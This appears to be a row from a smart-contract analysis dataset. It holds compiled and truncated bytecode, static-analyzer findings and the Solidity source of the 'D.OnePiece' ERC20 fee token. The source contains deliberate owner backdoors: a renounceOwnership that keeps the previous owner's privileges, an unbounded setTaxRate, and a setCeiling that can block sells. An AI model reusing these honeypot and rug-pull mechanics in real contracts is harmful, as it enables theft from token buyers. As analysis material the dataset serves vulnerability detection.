465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051b7754dcafb9e8d1d38623c2c9bbda38fed055221d857b3afc4aab4661189ea64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,698 |
0x5ab13736e55c851b56323c36aa2e9f130ce77679 | /**
*Submitted for verification at Etherscan.io on 2021-10-27
*/
// SPDX-License-Identifier: MIT
// TG: t.me/DonePiecetokens
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_previousOwner=_owner;
_owner = address(0xdead);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DONEPIECE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=8;
address payable private _taxWallet;
string private constant _name = "D.OnePiece";
string private constant _symbol = "DOnePiece";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _ceil = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x7B17D3fB1A77615FbDfaE4DA119cF344E1b52f96);
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(amount <= _ceil);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_ceil = 10000000000 ;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setCeiling(uint256 ceil) external onlyOwner {
_ceil = ceil;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b146102695780638f02cf971461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612113565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121ce565b6103f6565b6040516101629190612229565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612253565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061226e565b61041e565b6040516101ca9190612229565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906122dd565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c600480360381019061023791906122f8565b610576565b6040516102499190612253565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612334565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b6919061234f565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612113565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906121ce565b610940565b60405161031c9190612229565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061234f565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c6004803603810190610387919061237c565b61101f565b6040516103999190612253565b60405180910390f35b3480156103ae57600080fd5b506103b76110a6565b005b60606040518060400160405280600a81526020017f442e4f6e65506965636500000000000000000000000000000000000000000000815250905090565b600061040a610403611118565b8484611120565b6001905092915050565b6000600554905090565b600061042b8484846112eb565b6104ec84610437611118565b6104e785604051806060016040528060288152602001612e4f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116139092919063ffffffff16565b611120565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611118565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611677565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ff565b9050919050565b6105cf611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612408565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612408565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600981526020017f444f6e6550696563650000000000000000000000000000000000000000000000815250905090565b600061095461094d611118565b84846112eb565b6001905092915050565b610966611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612408565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612474565b60405180910390fd5b8060088190555050565b610aa8611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612408565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb906124e0565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb39190612515565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190612515565b6040518363ffffffff1660e01b8152600401610d8c929190612542565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190612515565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e94969594939291906125b0565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee69190612626565b5050506001600b60166101000a81548160ff0219169083151502179055506402540be400600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fca929190612679565b602060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101c91906126ce565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611118565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b60004790506111158161196d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111879061276d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f7906127ff565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112de9190612253565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612891565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290612923565b60405180910390fd5b6000811161140e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611405906129b5565b60405180910390fd5b6114166107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457506114546107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115345750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154957600c5481111561154857600080fd5b5b600061155430610576565b9050600b60159054906101000a900460ff161580156115c15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d95750600b60169054906101000a900460ff165b15611601576115e781611677565b600047905060008111156115ff576115fe4761196d565b5b505b505b61160e8383836119d9565b505050565b600083831115829061165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529190612113565b60405180910390fd5b506000838561166a9190612a04565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116af576116ae612a38565b5b6040519080825280602002602001820160405280156116dd5781602001602082028036833780820191505090505b50905030816000815181106116f5576116f4612a67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179757600080fd5b505afa1580156117ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cf9190612515565b816001815181106117e3576117e2612a67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061184a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ae959493929190612b54565b600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600654821115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d90612c20565b60405180910390fd5b60006119506119e9565b90506119658184611a1490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119d5573d6000803e3d6000fd5b5050565b6119e4838383611a5e565b505050565b60008060006119f6611c29565b91509150611a0d8183611a1490919063ffffffff16565b9250505090565b6000611a5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c76565b905092915050565b600080600080600080611a7087611cd9565b955095509550955095509550611ace86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baf81611de9565b611bb98483611ea6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c169190612253565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611c51600554600654611a1490919063ffffffff16565b821015611c6957600654600554935093505050611c72565b81819350935050505b9091565b60008083118290611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb49190612113565b60405180910390fd5b5060008385611ccc9190612c6f565b9050809150509392505050565b6000806000806000806000806000611cf68a600854600854611ee0565b9250925092506000611d066119e9565b90506000806000611d198e878787611f76565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611d8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611613565b905092915050565b6000808284611d9a9190612ca0565b905083811015611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690612d42565b60405180910390fd5b8091505092915050565b6000611df36119e9565b90506000611e0a8284611fff90919063ffffffff16565b9050611e5e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ebb82600654611d4190919063ffffffff16565b600681905550611ed681600754611d8b90919063ffffffff16565b6007819055505050565b600080600080611f0c6064611efe888a611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f366064611f28888b611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f5f82611f51858c611d4190919063ffffffff16565b611d4190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f8f8589611fff90919063ffffffff16565b90506000611fa68689611fff90919063ffffffff16565b90506000611fbd8789611fff90919063ffffffff16565b90506000611fe682611fd88587611d4190919063ffffffff16565b611d4190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120125760009050612074565b600082846120209190612d62565b905082848261202f9190612c6f565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e2e565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120b4578082015181840152602081019050612099565b838111156120c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006120e58261207a565b6120ef8185612085565b93506120ff818560208601612096565b612108816120c9565b840191505092915050565b6000602082019050818103600083015261212d81846120da565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121658261213a565b9050919050565b6121758161215a565b811461218057600080fd5b50565b6000813590506121928161216c565b92915050565b6000819050919050565b6121ab81612198565b81146121b657600080fd5b50565b6000813590506121c8816121a2565b92915050565b600080604083850312156121e5576121e4612135565b5b60006121f385828601612183565b9250506020612204858286016121b9565b9150509250929050565b60008115159050919050565b6122238161220e565b82525050565b600060208201905061223e600083018461221a565b92915050565b61224d81612198565b82525050565b60006020820190506122686000830184612244565b92915050565b60008060006060848603121561228757612286612135565b5b600061229586828701612183565b93505060206122a686828701612183565b92505060406122b7868287016121b9565b9150509250925092565b600060ff82169050919050565b6122d7816122c1565b82525050565b60006020820190506122f260008301846122ce565b92915050565b60006020828403121561230e5761230d612135565b5b600061231c84828501612183565b91505092915050565b61232e8161215a565b82525050565b60006020820190506123496000830184612325565b92915050565b60006020828403121561236557612364612135565b5b6000612373848285016121b9565b91505092915050565b6000806040838503121561239357612392612135565b5b60006123a185828601612183565b92505060206123b285828601612183565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123f2602083612085565b91506123fd826123bc565b602082019050919050565b60006020820190508181036000830152612421816123e5565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b600061245e601983612085565b915061246982612428565b602082019050919050565b6000602082019050818103600083015261248d81612451565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124ca601783612085565b91506124d582612494565b602082019050919050565b600060208201905081810360008301526124f9816124bd565b9050919050565b60008151905061250f8161216c565b92915050565b60006020828403121561252b5761252a612135565b5b600061253984828501612500565b91505092915050565b60006040820190506125576000830185612325565b6125646020830184612325565b9392505050565b6000819050919050565b6000819050919050565b600061259a6125956125908461256b565b612575565b612198565b9050919050565b6125aa8161257f565b82525050565b600060c0820190506125c56000830189612325565b6125d26020830188612244565b6125df60408301876125a1565b6125ec60608301866125a1565b6125f96080830185612325565b61260660a0830184612244565b979650505050505050565b600081519050612620816121a2565b92915050565b60008060006060848603121561263f5761263e612135565b5b600061264d86828701612611565b935050602061265e86828701612611565b925050604061266f86828701612611565b9150509250925092565b600060408201905061268e6000830185612325565b61269b6020830184612244565b9392505050565b6126ab8161220e565b81146126b657600080fd5b50565b6000815190506126c8816126a2565b92915050565b6000602082840312156126e4576126e3612135565b5b60006126f2848285016126b9565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612757602483612085565b9150612762826126fb565b604082019050919050565b600060208201905081810360008301526127868161274a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127e9602283612085565b91506127f48261278d565b604082019050919050565b60006020820190508181036000830152612818816127dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061287b602583612085565b91506128868261281f565b604082019050919050565b600060208201905081810360008301526128aa8161286e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061290d602383612085565b9150612918826128b1565b604082019050919050565b6000602082019050818103600083015261293c81612900565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061299f602983612085565b91506129aa82612943565b604082019050919050565b600060208201905081810360008301526129ce81612992565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a0f82612198565b9150612a1a83612198565b925082821015612a2d57612a2c6129d5565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612acb8161215a565b82525050565b6000612add8383612ac2565b60208301905092915050565b6000602082019050919050565b6000612b0182612a96565b612b0b8185612aa1565b9350612b1683612ab2565b8060005b83811015612b47578151612b2e8882612ad1565b9750612b3983612ae9565b925050600181019050612b1a565b5085935050505092915050565b600060a082019050612b696000830188612244565b612b7660208301876125a1565b8181036040830152612b888186612af6565b9050612b976060830185612325565b612ba46080830184612244565b9695505050